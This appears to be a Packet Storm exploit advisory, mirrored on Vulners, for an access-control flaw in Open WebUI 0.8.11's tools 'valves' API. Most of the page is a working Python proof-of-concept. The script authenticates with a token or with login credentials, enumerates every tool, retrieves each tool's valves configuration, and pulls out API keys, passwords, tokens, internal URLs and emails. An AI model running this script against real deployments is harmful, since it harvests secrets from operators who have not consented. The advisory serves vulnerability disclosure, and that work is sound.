Lucene search
K

📄 Open WebUI 0.8.11 Information Disclosure

🗓️ 24 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 71 Views

Open WebUI 0.8.11 exposes sensitive configuration data via tools valves endpoints with valid tokens.

Code
==================================================================================================================================
    | # Title     : Open WebUI 0.8.11 Improper Access Control in Tools Valves API Leads to Exposure of Sensitive Configuration Data  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/open-webui/open-webui                                                                         |
    ==================================================================================================================================
    
    [+] Summary    : A potential access control issue was identified in Open WebUI where the Tools API and associated “valves” endpoints may expose sensitive configuration data when accessed with valid authentication tokens. 
                     The affected endpoints allow retrieval of tool metadata and configuration structures that may include secrets such as API keys, passwords, tokens, endpoints, and internal service URLs.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import sys
    import argparse
    from typing import Dict, List, Optional
    from urllib.parse import urljoin
    
    
    class OpenWebUIExploit:
        def __init__(self, base_url: str, token: str, verbose: bool = False):
            self.base_url = base_url.rstrip('/')
            self.token = token
            self.verbose = verbose
            self.session = requests.Session()
            self.session.headers.update({
                'Authorization': f'Bearer {token}',
                'Content-Type': 'application/json'
            })
    
        def log(self, message: str, level: str = "INFO"):
            if not self.verbose and level == "DEBUG":
                return
    
            colors = {
                "INFO": "\033[94m",
                "SUCCESS": "\033[92m",
                "ERROR": "\033[91m",
                "WARNING": "\033[93m",
                "DEBUG": "\033[90m"
            }
            print(f"{colors.get(level, '')}[{level}] {message}\033[0m")
    
        def get_all_tools(self) -> List[Dict]:
            try:
                url = urljoin(self.base_url, '/api/v1/tools/')
                response = self.session.get(url)
    
                if response.status_code == 200:
                    try:
                        tools = response.json()
                        if isinstance(tools, dict):
                            tools = tools.get("data", [])
                        self.log(f"Found {len(tools)} tools", "SUCCESS")
                        return tools
                    except:
                        self.log("Invalid JSON response", "ERROR")
                        return []
                else:
                    self.log(f"Failed to get tools: {response.status_code}", "ERROR")
                    return []
            except Exception as e:
                self.log(f"Error getting tools: {e}", "ERROR")
                return []
    
        def get_tool_valves(self, tool_id: str) -> Optional[Dict]:
            try:
                url = urljoin(self.base_url, f'/api/v1/tools/id/{tool_id}/valves')
                response = self.session.get(url)
    
                if response.status_code == 200:
                    try:
                        valves = response.json()
                        self.log(f"Extracted valves for: {tool_id}", "SUCCESS")
                        return valves
                    except:
                        self.log("Invalid valves JSON", "ERROR")
                        return None
    
                elif response.status_code == 404:
                    self.log(f"Tool not found: {tool_id}", "WARNING")
                    return None
    
                else:
                    self.log(f"Failed valves request: {response.status_code}", "ERROR")
                    return None
    
            except Exception as e:
                self.log(f"Error getting valves: {e}", "ERROR")
                return None
    
        def extract_sensitive_data(self, valves: Dict) -> Dict:
            sensitive = {
                "api_keys": [],
                "passwords": [],
                "tokens": [],
                "secrets": [],
                "urls": [],
                "emails": []
            }
    
            api_key_patterns = ['api_key', 'apikey', 'api-key', 'apiKey']
            password_patterns = ['password', 'pass', 'pwd', 'secret']
            url_patterns = ['url', 'endpoint', 'host', 'server']
            email_patterns = ['email', 'user']
    
            def scan_value(key: str, value, depth=0):
                if depth > 10:
                    return
    
                key_lower = str(key).lower()
    
                if isinstance(value, str):
    
                    if any(p in key_lower for p in api_key_patterns):
                        sensitive["api_keys"].append({key: value})
                    if any(p in key_lower for p in password_patterns):
                        sensitive["passwords"].append({key: value})
                    if any(p in key_lower for p in url_patterns) and "http" in value:
                        sensitive["urls"].append({key: value})
                    if any(p in key_lower for p in email_patterns) and "@" in value:
                        sensitive["emails"].append({key: value})
    
                elif isinstance(value, dict):
                    for k, v in value.items():
                        scan_value(k, v, depth + 1)
    
                elif isinstance(value, list):
                    for i, item in enumerate(value):
                        scan_value(str(i), item, depth + 1)
    
            for k, v in valves.items():
                scan_value(k, v)
    
            return sensitive
    
        def exploit(self, tool_id: Optional[str] = None) -> Dict:
            results = {
                "success": False,
                "tools_examined": [],
                "sensitive_data": []
            }
    
            if tool_id:
                valves = self.get_tool_valves(tool_id)
    
                if valves:
                    sensitive = self.extract_sensitive_data(valves)
    
                    results["tools_examined"].append(tool_id)
                    results["sensitive_data"].append({
                        "tool_id": tool_id,
                        "valves": valves,
                        "sensitive": sensitive
                    })
                    if any(sensitive.values()):
                        results["success"] = True
    
            else:
                tools = self.get_all_tools()
    
                if not tools:
                    self.log("No tools found", "WARNING")
                    return results
    
                for tool in tools:
                    tool_id = tool.get('id')
                    tool_name = tool.get('name', 'Unknown')
    
                    if not tool_id:
                        continue
    
                    valves = self.get_tool_valves(tool_id)
    
                    if not valves:
                        continue
    
                    sensitive = self.extract_sensitive_data(valves)
    
                    results["tools_examined"].append(tool_id)
                    results["sensitive_data"].append({
                        "tool_id": tool_id,
                        "tool_name": tool_name,
                        "valves": valves,
                        "sensitive": sensitive
                    })
    
                    if any(sensitive.values()):
                        results["success"] = True
                        self.log(f"Sensitive data found in {tool_name}", "WARNING")
    
            return results
    
    
    def print_results(results: Dict):
        print("\n" + "=" * 70)
        print("RESULTS")
        print("=" * 70)
    
        if not results["success"]:
            print("\n[-] No sensitive data found")
            return
    
        for item in results["sensitive_data"]:
            print("\n" + "-" * 50)
            print(f"Tool: {item.get('tool_name', item.get('tool_id'))}")
    
            sensitive = item.get("sensitive", {})
    
            for key, values in sensitive.items():
                if values:
                    print(f"\n[!] {key.upper()}:")
                    for v in values:
                        print(f"    {v}")
    
        print("\n" + "=" * 70)
    
    
    def get_token_from_login(base_url: str, email: str, password: str) -> Optional[str]:
        try:
            url = urljoin(base_url, '/api/v1/auths/signin')
            r = requests.post(url, json={"email": email, "password": password})
    
            if r.status_code == 200:
                return r.json().get("token")
    
        except:
            pass
    
        return None
    
    
    def main():
        parser = argparse.ArgumentParser()
        parser.add_argument('-u', '--url', required=True)
        parser.add_argument('-t', '--token')
        parser.add_argument('-e', '--email')
        parser.add_argument('-p', '--password')
        parser.add_argument('-i', '--tool-id')
        parser.add_argument('-v', '--verbose', action='store_true')
    
        args = parser.parse_args()
    
        token = args.token
    
        if not token and args.email and args.password:
            token = get_token_from_login(args.url, args.email, args.password)
    
        if not token:
            print("[-] No token provided")
            sys.exit(1)
    
        exploit = OpenWebUIExploit(args.url, token, args.verbose)
        results = exploit.exploit(args.tool_id)
    
        print_results(results)
    
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation